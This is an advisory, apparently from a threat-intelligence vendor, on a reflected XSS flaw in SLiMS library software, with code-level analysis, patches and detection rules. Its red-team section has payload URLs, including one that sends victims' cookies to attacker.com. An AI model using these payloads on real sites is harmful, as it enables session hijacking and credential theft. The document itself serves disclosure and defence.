CVE-2025-65233

Executive Summary

CVE-2025-65233 is a reflected cross-site scripting (XSS) vulnerability discovered in the SLiMS (Slims9 Bulian) library management system, affecting versions prior to 9.6.0. The vulnerability resides in the improper handling of the $_SERVER['PHP_SELF'] variable within the index.php/sysconfig.inc.php file. An attacker can craft a malicious URL containing JavaScript code in the path segment. When a victim visits this URL, the server reflects the malicious path back into the HTML response without proper sanitization, allowing the attacker's script to execute in the victim's browser. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector is assessed as CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (Medium severity). No public exploit code or Nuclei template is available at this time, but the vulnerability is trivial to exploit manually.

Supply Chain & Package Security

SLiMS is a PHP-based application distributed as a standalone package. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core PHP code. Users should verify the integrity of their SLiMS installation and ensure they are using the official source from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network via a crafted URL.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send a malicious link.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must click the malicious link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (the victim's browser).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session cookies).
• Integrity (I): Low (L) – Limited ability to modify content (e.g., defacement).
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium (5.4) – Exploitation requires user interaction but can lead to significant client-side impact.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS caused by the direct use of $_SERVER['PHP_SELF'] in an HTML context. In PHP, $_SERVER['PHP_SELF'] contains the current script's filename and path, including any path information appended to the URL. For example, if a user visits http://target/index.php/extra/path, $_SERVER['PHP_SELF'] will be /index.php/extra/path.

In index.php/sysconfig.inc.php, the code likely outputs this value without sanitization, such as:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

An attacker can craft a URL like:

http://target/index.php/"><script>alert('XSS')</script>

When the server processes this URL, $_SERVER['PHP_SELF'] becomes /index.php/"><script>alert('XSS')</script>. This value is then echoed into the HTML, breaking out of the attribute context and injecting the script.

The root cause is the lack of output encoding. The fix in version 9.6.0 likely uses htmlspecialchars() or similar functions to escape the value before output.

Vulnerable vs. Patched Code

Vulnerable Code (pre-9.6.0):

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

Patched Code (9.6.0+):

<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES, 'UTF-8'); ?>" method="post">

The patched version uses htmlspecialchars() to convert special characters (<, >, ", ', &) to their HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable SLiMS 9.5.x instance (e.g., using Docker or a local PHP server).
2. Ensure the application is accessible at http://localhost/slims/.

Exploitation Steps:

1. Craft a malicious URL:

   http://localhost/slims/index.php/"><script>alert(document.cookie)</script>
   

2. Send this URL to a victim (e.g., via email or social engineering).
3. When the victim clicks the link, the JavaScript executes in their browser, displaying their cookies.

Advanced Payload (Session Hijacking):

http://localhost/slims/index.php/"><script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Note: No public exploit code (Exploit-DB) is available, but the above manual technique is sufficient.

Blue Team (Defensive)

Detection:

• Monitor web server logs for URLs containing suspicious characters like <script>, %3Cscript%3E, or "><.
• Use WAF rules to block requests with XSS patterns in the URL path.

Hunting:

• Search for $_SERVER['PHP_SELF'] usage in the codebase.
• Verify that all output of $_SERVER['PHP_SELF'] is passed through htmlspecialchars().

Mitigation:

• Immediately upgrade to SLiMS 9.6.0 or later.
• If upgrade is not possible, apply a virtual patch by modifying the vulnerable file to use htmlspecialchars().

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with path containing <script> or %3Cscript%3E to /index.php/.
  • Outbound connections from the victim's browser to attacker-controlled domains (for cookie exfiltration).

• Host IOCs:

  • Unusual entries in web server access logs with long, encoded paths.
  • Presence of unexpected JavaScript in the HTML source of the login or configuration page.

• File IOCs:

  • The file index.php/sysconfig.inc.php (or sysconfig.inc.php) containing $_SERVER['PHP_SELF'] without htmlspecialchars().

Detection Engineering

YARA Rule

rule Detect_Vulnerable_SLiMS_XSS {
    meta:
        description = "Detects vulnerable SLiMS code using $_SERVER['PHP_SELF'] without htmlspecialchars"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-65233"
    strings:
        $vuln_pattern = /echo\s+\$_SERVER\['PHP_SELF'\]/
        $safe_pattern = /htmlspecialchars\s*\(\s*\$_SERVER\['PHP_SELF'\]/
    condition:
        $vuln_pattern and not $safe_pattern
}

Sigma Rule

title: Reflected XSS via PHP_SELF in SLiMS
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-65233 by injecting script tags in the URL path
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script>'
            - '%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of script tags in URL (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65233 SLiMS Reflected XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/index.php/"; http_uri; pcre:"/<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update SLiMS to version 9.6.0 or later from the official source.
2. Virtual Patch: If upgrade is not possible, edit index.php/sysconfig.inc.php and replace:

   echo $_SERVER['PHP_SELF'];
   

   with:

   echo htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES, 'UTF-8');
   

3. WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script> in the URL path.

Long-term Measures:

• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Conduct code reviews to ensure all user-supplied data is properly sanitized.
• Use static analysis tools to detect similar patterns in the codebase.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters.it.